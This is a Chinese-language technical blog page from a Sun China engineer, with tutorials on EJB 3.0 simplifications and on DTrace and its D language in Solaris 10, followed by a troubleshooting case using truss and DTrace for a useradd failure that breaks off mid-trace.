Solaris + Sparc = Wow!
EJB 3.0
EJB 3.0简介
SUN中国软件技术中心 王强 wynne.wang@sun.com
1 简化开发的目标
1.1我们的目标
EJB3.0是当前很多人谈论的话题,企业软件开发的一个关键是,提供一个尽量简单的的应用框架:它可以使开发人员不用关注于复杂的问题,比如事务处理、安全和持久化等。可以集中精力关注于商业逻辑,而不用关心那些低层的技术细节,从而提高开发者的效率,得到高质量的软件。这也是制定EJB 3.0规范的目标,简化开发!
1.2 当前的问题
EJB3.0希望开发人员能够从这种新的开发模式中受益,更好地推进J2EE的应用. 随着JAVA不断的进步和发展,越来越多的企业选择J2EE作为它們的解決方案,J2EE体系结构提供一个简化的中间层集成框架来满足应用的需求。然而,对于一般的开发人员,目前J2EE 1.4下的EJB 2.1 框架有些过于复杂了。 按照EJB2.1规范的定义,EJB组件必须事先很多的接口, 比如Home接口、Remote接口、local 接口,等等.还要针对各种应用类型定义许多的xml描述文件。当我们需要访问某个组件或者服务的时候,必须通过JDNI查找,通过名字绑定服务,才能找到我们需要的对象。
比如我们要使用某个EJB shopping cart, 就要首先实现一个initial context,然后通过他查找这个EJB 的home 接口,然后调用home街口的create方法,得到一个EJB object, 最后调用这个EJB object的商务方法. 下面是一个例子:
// EJB 2.1 Client view of the ShoppingCart Bean
...
Context initialContext = new InitialContext();
ShoppingCartHome myCartHome = (ShoppingCartHome)
initialContext.lookup("JAVA:comp/env/ejb/cart");
ShoppingCart myCart= myCartHome.create();
//Use the Bean
Collection widgets = myCart.startToShop(Widgets )
...
// Don't forget code to handle JAVAx.ejb.CreateException
...
EJB2.1的规范还要求我们必须实现Javax.EJB里面定义的接口, 实现里面的Methods比如 EJBCreate(), EJBPassivate(), and EJBActivate()。大多数情况下这些方法是不需要开发人员作任何修改的。这些规定实际上都和真正核心的商务逻辑没什么关系,都只是一些技术模板,规定了开发人员必须按照这样的模板进行开发. 比如下面这段代码:
人们开始思考,怎么样才能把EJB的开发变的更加简单,更好的利用这种技术. 当前正在制定的EJB 3.0的标准的目标就是简化开发, 让更多的开发人员被它的易用和强大功能所吸引过来,喜爱这项技术。为了达到这个目标,要做的第一件事情,也是最重要的事情,就是从一个开发人员的角度,将EJB的使用尽量的简化。
1.3 JCP专家组的工作
这个工作是由EJB3.0 专家组来完成的。我们知道JAVA的开发和推动是由一个开放的组织来完成的,这个组织的名字叫做JAVA Community Process。简称JCP. SUN的理念是: 创新无处不在. 所以JCP小组从世界的每个角落听取关于JAVA的建议,将各方面对JAVA的要求通过制定JSR(JAVA Specification Request )形式确定下来. EJB 3.0规范的JSR编号是 220. 整个专家组的制定成员包括J2EE 注册用户, 应用服务器的开发厂商和J2EE社区的成员.
简化一个现有的技术,尤其是得到广泛的开发人支持的技术,比如EJB, 不是一个简单的工作. 作为铺垫,专家组进行了大量的准备工作,检验了EJB技术的复杂性,当前EJB流域流行的各种模式和反模式,以及从客户和开发人员来的各种需求。开发人员和用户根据实际的需要,希望EJB能够提供他们满意的特性.
检验结果发现,大多数情况下,人们不需要更高级的技术,而是需要更简化的技术,来简化当前的开发模式。而不是像以前的EJB发布一样,在技术复杂度上的提高。定义一个新技术,不仅对老的技术有一定的更新, 也要能充分并容老的技术, 提供一定的向后兼容性. 因为采用这些技术的企业,已经在这些技术上投资了很多. 如果因为技术的更新就使得对应的IT系统和数据变得不能使用,是一件非常糟糕的事情.
所以,定义了EJB3.0规范的同时,如何支持现有的EJB技术是非常必要的. 要保证现有的EJB API是持续可用的, 还要和新的EJB3.0 API结合起来, 对早期的API应该继续提供支持而不是标记为不赞成使用
1.4 标注的新功能
EJB3.0的很多新特性是通过JAVA SE5.0来实现的。这里我们就要谈到JAVA SE 5.0,它所提供的许多特性,其中最有趣的一点就是标注(Annotation)的功能。我们知道以前的JAVA语言都是命令格式的, 比如a.b(), 表示让类a做事情b, 但是很多时候我们只是需要对某个对象做一些注解,比如对某个类标记为可持续化的Serializable. 这只是一个标记,为了以后的处理提供说明,本身不需要做任何操作。
在Deploy 的时候, 提供了很多说明的XML文件,比如部署描述文件,里面说明了引用的EJB的名字,接口, 以及当前EJB的Transaction Type等等信息. 所有这些信息都是说明性的,而不是命令性的. 用来对某个对象的某个属性坐一段说明. 因此,有一个非常有趣的想法,能不能通过对JAVA语言的扩展,结合标注和命令这两者的优点 ?
这也是有一个专家组在JCP的组织内完成的, JSR规范的编号是JSR 175, 为JAVA SE 5.0支持注解(Annotation)的功能. 这个规范为EJB3.0 的简化实现提供了一些基本的支持, 也是最关键的支持. 标注可以有自己的属性,也可以定义自己的持续时间,表示这段信息是否保存到 源代码中,还是一直持续到Class中,或者一直保持到运行时间. 标注有自己的缺省值.大多数情况下,无须说明我们就可以推算出来这个对象的行为。
2 轻松的实现开发
2.1 减轻开发人员的负担
EJB3.0的简化工作包括下面几个部分:
提供一个简化的API, 包括对EJB的定义,对EJB的引用等等
减少开发的类数目,不再需要那么多的interface
相关性注入
简化的查询机制
从开发人员的角度不必要使用部署描述文件, 很多的工作可以放到代码里面用标注来说明,比如Entity Bean 的Transaction Type
简化的持久化功能
简化和改善数据对象的O/R Mapping.
标注可以应用到编程语言的一些基本元素上,比如类,方法,变量,包等等. 当我们在代码中使用了这些标注, 根据这个标注对应的持续策略, 它可以被编译到Class 文件中去,或者一直保持到运行的时候。大多数在 EJB 3.0 中定义的标注都是Runtime保持策略, 这样做的好处是提供了最大的灵活性。而且由于大量工作放到了运行的时候来做,也减少一部分Deploy的工作。
我们通过定义缺省的语法来说明大多数常见的情况。开发人员不需要再专门说明常见的情况,"OK, 没问题,缺省的设置就已经可以满足需要了" 这样,开发人员的工作大大减轻了。
这也引出来了EJB3.0中的一个很有意思的概念 "Configuration By Exception" --只有在例外的情况下才需要我们的参与.
EJB3.0的目标是简化开发人员的工作,让他们专注于商务应用的开发而不是把精力放到很多繁琐的例行工作上,这些工作可以交给Container来完成。EJB通过注入来指定自己需要的资源,不用再写那些麻烦的方法. 将对象的创建和获取提取到外部。由外部容器提供需要的组件。这样,开发人员只用在开始的时候定义,说我需要这个资源, 后面就可以直接使用这个资源, 这样会大大的简化开发, 因为开发人员只用关心如何使用这个对象和商务方法, 而不用担心其他的技术细节。
2.2 抛开繁琐的细节
下面我们看看都作了那些简化。我们的目的是把那些繁琐的技术细节隐藏起来,程序开发人员只用关心自己的商务逻辑代码,而不用关心那些复杂的技术模板,必须实现的接口等,哪怕这些方法和接口根本不需要实现.
不再需要EJB的部件接口
每个EJB 都只是一个普通的JAVA Class
不再需要home接口, 我们不再用home 来创建这个EJB
不再需要实现javax.ejb.EnterpriseBean借口
对于需要在回调方法里实现的部分,我们采用标注的方式说明一个方法为回调方法
不再需要使用复杂的JNDI名字调用机制,对于需要服务或者资源的地方
我们采用了相关性注入的方法,另外也可以通过简化的lookup方法来查找资源
下面让我们看一个简单的无状态SessionBean的例子。无状态session Bean是最简单也是最常用 Bean,很多初学EJB的人都从无状态Session Bean开始。如何让无状态Session Bean 变的简单易用成为一个非常有意义的话题。
前面假设我们已经定义了相关的interface, 这个EJB2.1的的功能是对员工的工资做处理,打开一个数据库连接,进行员工工资信息的某些操作,等等.
// EJB 2.1
public Class PayrollBean implements JAVAx.ejb.SessionBean
{
SessionContext ctx;
DataSource empDB;
public void setSessionContext(SessionContext ctx) {
this.ctx = ctx;
}
public void ejbCreate() {
Context initialContext = new InitialContext();
empDB = (DataSource)initialContext.lookup( JAVA:comp/env/jdbc/empDB );
}
public void ejbActivate() {}
public void ejbPassivate() {}
public void ejbRemove() {}
public void setBenefitsDeduction (int empId, double deduction) {
...
Connection conn = empDB.getConnection();
...
}
...
}
// NOTE deployment descriptor needed
这里我们首先要实现一个 sessionBean interface,保持一个对sessioncontext的引用,然后是在EJBcreate 方法里面我们调用JNDI得到一个datasource。 后面我们必须要定义一些回调方法,虽然这些方法我们不会实现任何逻辑。然后在 商务方法里面,我们打开一个数据库连接。
注意,我们还没有完。为了使用这个EJB, 必须加上xml的部署描述文件打好包。
下面是一个常见的部署描述文件可以是这样子的。
...
...
从开发人员的角度来检查这样一个简单的EJB 是非常有意义的。我们可以更好的理解有那些地方可以有改动。一个主要的问题是,定义了这么多的方法和结构以后,程序的清晰化受到了影响,结构变得混乱。真正需要关注的商务方法没有很好的强调和体现。
下面让我们看一看EJB 3.0 是如何实现一个简单的stateless session Bean的。
// Same example, EJB 3.0
@Stateless public class PayrollBean implements Payroll {
@Resource DataSource empDB;
public void setBenefitsDeduction (int empId, double deduction) {
...
Connection conn = empDB.getConnection();
...
}
...
}
@Stateless 标注表示这是一个stateless session Bean. 使用这样的标注可以让我们不再需要使用SessionBean 接口, 这样就大大的简化了EJB的实现类。 Bean的商务接口是payroll. 这是一个普通的JAVA interface. 缺省的情况,container会把他作成一个local interface. 如果需要实现一个远程接口,只需再定义一个标注 @Remote. 注意在接口里面不需要定义 RemoteExceptions,它由Container 层在后面处理掉了
2.3 引用对象的新方法
在老的EJB规范中,还有一个比较复杂的地方是访问环境对象。EJB 2.1 里面访问环境要首先在组件定义的相关性引用,比如resource-refs, EJB-refs, 然后在JNDI名字空间里面配置这些环境对象。 最后查找运行的时候JNDI空间里面查找这些环境对象
EJB 3.0对此提供了两种简化的方案:
1) 相关性注入
2) 一个简化的查询lookup方法
相关性注入是一种技术,开发人员在原代码中加入标注的一个定义,说明需要这个环境对象,然后由Container在初始化的时候把真的环境对象注入里面。
目前EJB3.0 spec里面有两种注入方式,setter注入和变量注入, 这些在以后的规范中可能会有变化,比如一种统一的注入方式。 我们可以通过注入标记@EJB来定义一个EJB的引用,也可以通过注入标记@resource 表示我们要引用一个资源,它可以是EJB以外的一切环境对象. 专家组为了尽可能的简化开发,将使用注入的对象类型作了简化。
EJB3.0 将仍然提供一个动态查询的方法,但是从程序开发人员的角度,不需要再使用JNDI API,而是采用更为简化的EJB Context 的 Lookup方法。
在新的EJB 3.0规范中,因为不再需要复杂的home接口和EJB 接口。EJB client端的编码也大大的简化了,和访问一个普通的JAVA 对象没有什么区别。上面的那个EJB2.1的例子比较起来,在EJB 3.0 里面使用一个EJB变的非常简单,只需要两行代码:
// EJB 3.0 client view
@EJB ShoppingCart myCart;
...
Collection widgets = myCart.startToShop(Widgets );
...
首先定义一个EJB的应用,然后就可以直接调用这个EJB的商务方法,剩下的工作由Container来为我们完成。
2.4 新的事务管理
EJB中的事务(Transaction)管理大大简化了用户开发程序。把应用分成一个一个小的单元,叫做transaction. 事务系统保证了这个单元里面的任务是完整的,要么全部执行,要么出错后完全退回到初始状态。
J2EE中有两种类型的事务, 容器管理的和Bean管理的。他们在如何启动和结束事务上是不同的。Bean 管理的事务由组件使用 UserTransaction类显式启动和结束的。代码中需要调用方法 UserTransaction.begin() 和 UserTransaction.commit() 。Container 管理的事物是由container 自动来完成的。
针对不同的事务类型,可以定义6种不同的事务属性。
事务属性告诉 Container 是否把EJB方法里面的工作放到用户的事务里面。还是针对这个方法重新启动一个新的事务. 或者执行这个方法而不包含在事务里面,等等。
在EJB3.0规范中,我们缺省的定义是容器管理的事务. 而且针对所有的Bean方法,应用Required Transaction属性,它的意思是如果调用这个方法的应用没有Transaction Environment,那么这个方法会自动创建一个新的。
开发人员可以使用标注的方式在针对整个EJB或者某个具体的方法指定他的Transaction Attribute.
首先我们看一个工资处理的EJB的例子, 这是一个标准的EJB 3.0 Stateless Session Bean。缺省情况下,每个方法是都是由container来管理Transaction的,缺省的事务属性是required
// Uses container-managed transction, REQUIRED attribute
@Stateless public PayrollBean implements Payroll {
public void setBenefitsDeduction(int empId, double deduction) {...}
public double getBenefitsDeduction(int empId) {...}
public double getSalary(int empId) {...}
public void setSalary(int empId, double salary) {...}
}
下面还是这个例子,我们知道对于有关重要数据的改动,总是非常敏感的。比如我们在更改某个用户的工资的时候同时修改他的所得税,我们希望这两个调用是在同一个Transaction里面发生的。
@Stateless public PayrollBean implements Payroll {
@TransactionAttribute(MANDATORY)
public void setBenefitsDeduction(int empId, double deduction) {...}
public double getBenefitsDeduction(int empId) {...}
public double getSalary(int empid) {...}
@TransactionAttribute(MANDATORY)
public void setSalary(int empId, double salary) {...}
}
那么调用用户的工资改动的方法就必须在一个已经存在的Transaction Environment
中,为此,我们用@transactionattribute(mandatory)标注 这个方法必须在一个客户端的transaction中,如果客户端没有这样的一个 Transaction Context, Container会扔出来一个 Javax.ejb.EjbTransactionRequiredException 的错误信息。
2.5 新的安全机制
EJB架构不鼓励开发人员用代码的方式实现安全机制,而是采用安全角色的方法,通过定义可以访问的安全角色,来限制对某个方法的访问权限。
缺省情况,在3.0里面所有的方法都是"unchecked"。也就是说缺省情况下对所有方法是不用安全控制策略的。如果调用某个方法的客户端具有某个用户角色(Role) ,我们可以制定是否这个方法也是沿用这个角色。缺省情况下的安全策略是"Caller Identity",也就是说被调用者的角色和调用者的角色应该是一致的
这是一个EJB 3.0的安全实现的例子。我们对于其他的方法都没有设定安全策略。但是对于设定某个员工的工资是多少,这样的安全要求比较高的方法设定了只有人事部门的管理员才能调用。我们采用了一个@RolesAllowed("HR_PayrollAdministrator ")
// Security view
@Stateless public PayrollBean implements Payroll {
public void setBenefitsDeduction(int empId, double deduction) {...}
public double getBenefitsDeduction(int empId) {...}
public double getSalary(int empid) {...}
// salary setting is intended to be more restricted
@RolesAllowed( HR_PayrollAdministrator )
public void setSalary(int empId, double salary) {...}
}
2.6 事件的通知和检查
EJB 3.0中, 开发人员不需要实现那些不必要的callback methods。 他可以把任意方法指定为一个事件通知方法。通过标记一个通知标注,我们把一个方法标记为一个回调方法, 例如:
@Stateful public class AccountManagementBean
implements AccountManagement {
Socket cs;
@PostConstruct
@PostActivate
public void initRemoteConnectionToAccountSystem {
...
}
@PreDestroy
@PrePassivate
public void closeRemoteConnectionToAccountSystem {
...
}
...
}
在这个EJB 3.0 的例子当中, 我们定义了一个有状态的session Bean,把初始化的工作都交给init remote connection方法,同时标记他为一个回调方法,在construct ,和 activite之后调用
同时我们把清理的工作都交给close remote connection方法,同时标记他为一个回调方法,在destroy 和passivate之前调用
对于那些高级的用户,需要定制自己的事件检查和侦听机制。检查方法和所被检查的对象方法可以在同一个 Bean 中,也可以在不同的JAVA Class里面。 这种检查机制有下面的特点:
在方法周围进行检查
包装商务方法的整个调用过程
可以对方法调用的参数和结果进行处理
检查类的序列中,可以拿到上下文数据
多个检查类可以按照指定的顺序执行
可以用部署表述符来指定执行顺序
我们用 @Interceptors 标注指定一个外部的检查方法类, 用 @AroundInvoke制定内部的某个方法为检查方法。在检查方法里面,我们用proceed()来调用具体的商务方法。目前的检查方法是检查一个Bean里面的所有方法,专家组正在制定标准, 让它可以具体到检查制定的某个方法。
下面是一个EJB3.0的检查方法的例子:
我们制定了这个无状态session Bean检查方法类是这三个类.
accountaudit, metrics, customsecurity。那么实际执行的时候会按照这个制定的顺序来实行
检查.
@Interceptors({
com.acme.AccountAudit.class,
com.acme.Metrics.class,
com.acme.CustomSecurity.class
})
@Stateless
public class AccountManagementBean
implements AccountManagement {
public void createAccount(int accountId, Details details) {...}
public void deleteAccount(int accountId) {...}
public void activateAccount(int accountId) {...}
public void deactivateAccount(int accountId) {...}
...
}
2.7 部署描述文件的优先级
在EJB3.0中,我们可以用标注的方法来指定对环境对象的引用,也可以用部署描述符文件(Deployment Description)的方式来制定对环境对象的应用, 也可以两个同时使用. 如果我们在部署描述文件和代码标注中都制定了环境对象,那么部署描述文件中的那个引用有更高的优先级, 这样就给了应用的Deployer相对比较大的灵活性来控制.
3 持久化的魔力
3.1 最初的目标
EJB 3.0 专家组的另外一个目标是为实体Bean( Entity Bean ) 和对象/关系的映射,提供一个轻量级的模型。实际上,目前关于实体Bean的争论很多, 很多批评人士对它的架构感到不满,我们的目标是改善EJB 容器管理的持久化模型,从各地的一些优秀的开源软件中吸取灵感,从一些反模式(Anti-Pattern)中吸取经验, 从而让新的标准称为技术上的领跑者。 EJB3.0的持续化包括下面的一些特性:
简化实体bean的编程方式,减少不必要的开发接口
改善EJB的持久化, 为O/R映射提供继承和多态的信息
可以在EJB Container之外使用实体Bean
不需要Container 就可以对商务方法进行测试
不再需要数据传输对象DTO (Data Transfer Objects) 之类的设计模式(Design Pattern)
改善的EJB QL
为了解决这些意见,ejb 3.0 的专家组集中在一个经过简化的持久化模型,目前业界已经有类似的产品和模式,比如Hibernate和Toplink, 这是一个全新的方向,代表着轻量级的对象/关系(O/R)映射模型。
在EJB3.0中,实体Bean是普通的Java 类, 这是一些真正的类, 而不是抽象类。而且更为简化的是,开发人员不再需要实现任何接口,不论是商务借口或者是回调接口。
而且不再需要实现数据传输对象(DTO), 因为现在的Entity Bean本身就是一个简单的普通JAVA 对象POJO (Plain Old Java Object), 标记为序列化之后就可以在客户端和服务端进行传递,不再需要特殊的处理。
3.2 管理类的角色
在新的EJB3.0规范里面,我们看到了一个 EntityManager 类, 对于实体Bean而言,这是一个类似于调用工厂(Factory)或者统一的Home接口之类的角色。Entity manager自己的生命周期可以由Container或者应用程序都可以来管理。
Entity Manager 将负责跟踪数据库事务上下文中, 实体bean 对象的状态。对于开发人员来说, javax.persistence.EntityManager 成为对实体bean的统一访问点。 可以把它看作是对实体Bean操作的一个"home". 我们要通过entity manager 调用实体bean的生命周期管理。 比如:Persist, Remove, Merge, Flush, Refresh, 等方法。
Entity Manager是所有Entity Bean的持久化管理接口,任何对Entity Bean的操作都必须通过它来进行。有的开发人员会对这个接口感到熟悉,因为它与Hibernate的Session接口和JDO的Persistence Manager非常相似。Entity Manager的接口主要方法如下:
package javax.ejb;
public interface EntityManager {
public void create(Object entity);
public < T > T merge(T entity);
public void remove(Object entity);
public Object find(String entityName, Object primaryKey);
public < T > T find(Class < T > entityClass, Object primaryKey);
public void flush();
public Query createQuery(String ejbqlString);
public Query createNamedQuery(String name);
public Query createNativeQuery(String sqlString);
public void refresh(Object entity);
public void evict(Object entity);
public boolean contains(Object entity);
}
EntityManager 还大大方便了查找方法的实现,记得我们在EJB2.1里面是怎么做的吗?在EJB 3.0里面,可以直接调用EntityManager.find(String entityName, Object primaryKey),查找具有某个主键的实体 bean 实例。例如:
public OrderBean findByPrimaryKey(String orderId)
{ return (OrderBean)em.find("OrderBean" , orderId);
}
EntityManager作为Query对象的生产工厂, 可以用createQuery(String ejbQlString) 创建一个EJB QL 查询,也可以用createNamedQuery(String queryName)来创建一个 NamedQuery 查询。下面是一个例子:
public List findWithAddr(String addr) {
return em.createQuery(
"SELECT o FROM Orders o WHERE o.addr LIKE :orderAddress")
.setParameter("orderAddress", addr)
.setMaxResults(100)
.listResults();
}
3.3 O/R Mapping的标注
O/R Mappings 标注的元数据,使得用户可以修饰他们的EJB3.0 Entity Bean. 在 EJB 3.0缺省环境下,表的名字就是类的名字, 两者是一致的, public Java Bean getter方法假定为访问表中同样名字的属性值, 开发人员可以通过@Table, @column等各种不同的标注来修改这个缺省的定义. 例子:
@Entity
@Table(name="CUSTOMER")
@SecondaryTable(name="CUST_DETAIL",
pkJoin=@PrimaryKeyJoinColumn(name="CUST_ID"))
public class Customer { ... }
@Entity 说明这是一个Entity Bean, Table标记了对应的O/R Mapping的主表, 而 SecondaryTable标记了 Entity对应的辅助表,
持续化的API, 和查询语言,以及O/R Mapping标注, 都是EJB 3.0规范的一部分。
持久化API的设计目标是能够独立于Container的运行,只需要有一个Java SE环境就可以运行了。
4 小结
本文以描述了EJB 3.0规范的一些新特性。EJB 3.0将是EJB历史上最大的一次改动,它充分吸收了一些开源项目,比如Spring、Hibernate的经验,变得更加方便实用,体现了简化开发的设计目标。这篇文章希望能够给大家带来一点关于EJB 3.0的印象,目前EJB 3.0规范已经进入了Proposed Final Draft阶段,当然,将来这个规范的技术细节还可能发生变化。
Posted at 05:09下午 四月 21, 2008 by Wynne in General | 评论[0]
Dtrace 介绍
Dtrace 介绍
一 D语言特性
我们再学习计算机语言的时候,大都有过这样的经历,那就是语法和规则看起来很简单,但是一旦组合起来之后,就有了千变万化。 一般来说越高级的语言越容易理解,和英语的常用语法就越类似。
D语言是Dtrace里面用来编程的一种语言, 这种语言的设计目的是让我们能够显示,统计操作系统内核的信息。而不是完成复杂的商业逻辑和运算, 这个目的决定着这种语言的特性,他的语法相对简单易懂, 很多地方和C语言非常类似, 没有了C语言里面的if, while这些条件循环。
当前UNIX环境被很多企业选择为商业应用的基本平台,其中一个重要的原因就是它的稳定性,能够提供一个稳定的应用环境。在计算机技术发展飞速的今天,Unix仍然具有无可替代的作用。尤其在用作企业级服务器方面,Unix的高性能、高可靠性仍然是其他操作系统的计算机所不能比拟的。
Unix操作系统的历史漫长而曲折,它的第一个版本是1969年由Ken Thompson在AT&T贝尔实验室实现的。后来Ken Thompson和Denni Ritchie使用C语言对整个系统进行了再加工和编写,使得Unix能够很容易的移植到其他硬件的计算机上。从那以后,Unix系统开始了令人瞩目的发展。
Solaris 10操作系统是行业领先的UNIX平台,它集成了强大的全新功能,性能、可用性和安全性极高。Solaris 10不仅支持SPARC处理器,在AMD Opteron 和 Intel Xeon
处理器的服务器上也同样可以运行Solaris 10,这不仅为用户提供了更多的平台选择,而且也意味着可以在低端和高端系统中使用同样的操作系统,而不折损性能、可用性、可扩展性或安全性。
虽然操作系统提供了很好的稳定性,但是在实际应用中,会发生各种可能的意外事件.比如某个进程在某些极端的情况下发送了一个退出信号给我们的应用, 造成了应用的异常退出,这个过程发生了以后很难重现,我们在实验室里不论怎样模拟都不可能找到应用退出的原因. 那么,到底是谁关闭了这个进程,就成为了一个谜. 很难跟踪到真正的凶手.
为了解决在这种意外情况下发生的问题,我们往往需要建立一个模拟环境. 这不是一个 容易的工作, 比如我们用到了很多的服务器和很多的应用, 如何安装和调整这些环境, 让他们运行在一个和实际相同的环境下,是一个十分复杂的工作, 花费的开销也是巨大的.
我们也可以通过强制产生一个Core Dump的方法, 将运行时刻的内存复制到一个文件中. 通过某些工具比如dbx, mdb来对这个内存文件进行分析,找到当初产生问题的原因. 这样做的缺点是很明显的,如何掌握这个时间? 我们不能希望程序在出错以前通知,也不太可能通过事先估计时间来进行监控.
传统上的UNIX/Linux系统提供一些统计分析工具, 比如vmstat,iostat,mpstat这些工具可以提供一些系统级别的统计分析信息,但是缺乏对每个进程,每个用户的分析和统计的能力.
所以,我们需要建立一套新的跟踪系统.
这个系统应该是一个动态的,可以观察的系统, 我们可以根据自己的兴趣选择所要观察的对象,可以动态的打开和关闭观察点; 这套系统应该足够强大,有足够的能力来收集我们感兴趣的任何数据; 这套系统应该有很好的性能,在产品环境下打开这套系统不会对应用性能有什么影响; 这套系统应该足够安全, 不会因为观察某个应用而对应用本身产生不良的后果.
SUN在Solaris10的代码里实现了这套系统,这就是Dtrace.
二 什么是Dtrace
在Solaris 10当中, 操作系统的开发人员实现了大概有3万多个Dtrace的观测点(Probe), 这个数目还在不断的增加当中. 如此强大的功能保证了用户可以对任何感兴趣的数据进行追踪. 用户也可以根据自己的需要,编写自己需要的观测点,
Dtrace 里面的观测点,采用了一种新的编程语言, Language D, 语法类似于C,很多C语言的开发人员会比较熟悉.这些观测点都是轻量级的, 打开观测点对系统性能的影响几乎是可以忽略不计的. 因为这些观测点是在操作系统内部实现的, 操作系统的开发人员保证了这些观测点是安全的, 我们可以完全透明的使用它们,就好像使用其他操作系统的功能一样方便.
我们首先来看一个实际的例子:
# dtrace -n BEGIN -n END
dtrace: description BEGIN3 matched 1 probe
dtrace: description END3 matched 1 probe
CPU ID FUNCTION:NAME
0 1 :BEGIN
^C
0 2 :END
这个例子里面打开了两个观测点, 一个是BEGIN, 在所有其他观测点之前执行, 一个是END, 在关闭了所有其他的观测点之后打开执行。 有与我们只是打开了这两个观测点,而并没有在其中执行任何程序,所以系统只是把缺省的输出打印出来。
首先显示找到了这样的两个观测点,然后执行里面的代码, 因为用户没有编写任何代码, 所以把BEGIN的名字和所运行的CPU编号,还有这个观测点的编号打印出来。
当我们ctrl + C退出这个命令的时候,激活了END观测点, 这时候把里面缺省的显示内容打印出来,和BEGIN 一样。
三 Hello World
我们学习语言最快的方法莫过于自己动手编写一个例子,而编写离子最常见的就是"Hello World", 下面让我们看一看在Dtrace的D语言里面是如何编写一个打印 "Hello World"内容的程序的。
#!/usr/sbin/dtrace -s
BEGIN
{
printf("Hello Worldn");
exit(0);
}
END
{
printf("Goodbye n");
}
首先我们用编辑器编写一个这样的文本文件, 编辑器的种类有很多,我个人最常用的还是vi, 这里面第一行的内容是说明下面的这个脚本文件用 dtrace命令来解释, -s表示这是一个脚本文件。 然后是观测点的名字, 我们首先编写的是BEGIN, 大括号里面的内容就是实际代码, 这里面只做两件事,首先打印"Hello World", 然后退出这段程序,退出的时候就会激活END观测点, 里面的代码打印一个"Goodbye"的信息。
结果就像这样:
# chmod 777 hello.d
# ./hello.d
dtrace: script './hello.d' matched 2 probes
CPU ID FUNCTION:NAME
0 1 :BEGIN Hello World
0 2 :END Goodbye
四 Dtrace的原理
下面这张图很好地说明了Dtrace 的运行原理,里面的名词有些绕口。 但是还是很容易理解的。
首先我们要区分里面不同的dtrace名词, 第一个是小写的dtrace(1M), 这是一个Solaris的命令, 第二个是小写的dtrace(7D), 这是一个设备和网络的接口,第三个是首字母大写的Dtrace, 这是一个操作系统底层结构。 了解这些dtrace 之间的不同对我们后面的原理部分会非常有帮助。
他们的工作原理是这样的, 我们编写了一个文本的D语言程序, 比如a.d, 交给dtrace负责解释,他首先编译这段代码, 然后进行一段安全性检查,好像 Java编译器的工作一样, 编译好的代码通过接口交给Dtrace来执行,Dtrace结构的后面是各个功能系统的真正实现(Provider)。 因为Dtrace只是一个可观测的系统结构, 真正的观测是在不同的功能系统中实现的。
在Solaris 10里面,我们的很多统计命令,比如lockstat, plockstat都进行了重写,通过Dtrace结构来实现。
在后面我们如果不作说明,Dtrace将表示Solaris的底层系统结构。
五D语言
下面我们看看具体的D语言是如何编写的, 也就是说,我们应该按照什么规则编写一段Dtrace代码。
probe description
/ predicate /
{
action statements
}
Dtrace 程序的执行过程非常简单, 首先是一个名字,就是这个观测点的名字描述, 然后是一个断言, 熟悉C语言的读者都会很清楚断言的作用, 只有当断言为真的时候, 才会往下继续执行。 这样做的原因是Dtrace支持通配符, 很可能我们的调用的观测点名字匹配了成千上万个观测点,那么这段程序就会被调用很多次,观测出来的结果淹没在信息的大海中,失去了原来的意义。 里面的Action就是程序的基本部分了。
这里我们浏览一遍Dtrace 的执行原理, 这个可观测的系统是由无数个小的观测点组成的,让我们假想一个摩天大楼, 里面有无数的探测器, 好比烟雾探测器, 温度探测器,等等。 通过观测这些探测器的状态, 我们可以知道当前发生的情况。 这些探测器只是表面的部分,在这个大楼的内部,还有很多很多的管道,电线,数据装置来支持这些探测器。 这就是我们说的功能实现部分。
为了便于理解,每一个探测器都有一个名字, 这个名字是一个四段组成的组合。 好比一个大楼,我们要定位一个探测器的时候首先要说明楼层,然后说明房间号,然后说明具体的哪一个屋子,和什么类型的探测器。在Dtrace里面,命名规则是这样的:
provider:module:function:name
第一个就是provider的名字, 第二个是模块的名字,第三个是函数的名字,最后一个是观测点的名字。
例如:
proc:unix:mutex_exit_critical_start:start
这个观测点的名字表示他是一个proc系统功能中,unix模块里面,mutex_exit_critical_start函数上的观测点,这个观测点的名字叫start.
如果我们省略其中一个字符串,比如不写函数的名字, 那么就表示通配该模块下面所有的函数。
六 结论
Dtrace 是Solaris 10上的一个新功能。 通过Dtrace,用户可以实时跟踪、调节系统并进行故障排除。 Dtrace是一个动态的可观测框架。可以让用户到看整个Solaris内部感兴趣的任何数据。配合以Dtrace 简单易学的D语言, 管理员可以发现先前隐蔽的问题。而对于开发人员来说,通过观察Dtrace内核之间的活动,可以分析和优化应用程序性能,缩短了测试周期。
Posted at 05:08下午 四月 21, 2008 by Wynne in General | 评论[0]
Solaris 里面的抓间谍者
Dtrace + Truss 在 Solaris 10上的实例
这个案例着重于如何使用 Dtrace & truss 来进行 Solaris 的问题跟踪。
Dtrace是Solaris 10的一个特性。.
昨天早上,客户打电话来抱怨一个奇怪的Solaris问题。 我在过去6个月里一直支持这个web 2.0领域的客户。
客户发现它不能正确的添加一个新用户。 如果他尝试增加一个新用户,系统会报告错误。
“useradd –m –d /home/test test” 是给/home下增加一个新用户的命令。:对应的错误信息是:
" # useradd -m -g getamped -d /home/getamped -c "getamped user." -m -s /bin/bash getamped
UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory. "
于是客户给我打电话寻求帮助。 看起来这是一个简单的Solaris 配置的问题。我们知道Solaris会自动挂接 /home目录。所以通常我们需要把autofs关掉才可以对/home进行操作。 .
这些都是很简单的工作,而且有很多的文档说明了这些步骤, 于是我们打开/etc/auto_master. 它看起来好像这样:
+auto_master
/net -hosts -nosuid,nobrowse
/home auto_home -nobrowse
根据文档的纪录,我们需要把最后一行注释掉:
#/home auto_home -nobrowse
这样就去掉了autofs监管的/home目录。 然后我们重新启动 autofs 服务,让这个配置生效。 按后我们再次运行 “useradd“命令,看看我们现在发现了什么?
有趣的是,这次仍然报告一个错误:
" UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory. "
看来某个地方还有问题. 那么是哪里呢?
按照通常的步骤,我们搜索知识库,但是没发现任何有意义的结果.
现在让我们尝试用”truss “来跟踪一下这个命令. 它到底在作些什么? 他会打印出来应用的每个系统调用和相关参数. 通过这些详细地记录信息我们发现了一点线索:
"#truss -f -o /tmp/useradd.out useradd -m -d /home/test test"
下面我们增加一个选项“-f”来继续跟踪子进程的信息,这样fork()的子进程的log也可以被记录下来. 然后我们打开记录的文件/tmp/useradd.out. 它里面记录了useradd运行的所有系统调用:
"# truss -f useradd -m -d /home/test7 test7
1710: execve("/usr/sbin/useradd", 0x08047C9C, 0x08047CB4) argc = 5
1710: resolvepath("/usr/lib/ld.so.1", "/lib/ld.so.1", 1023) = 12
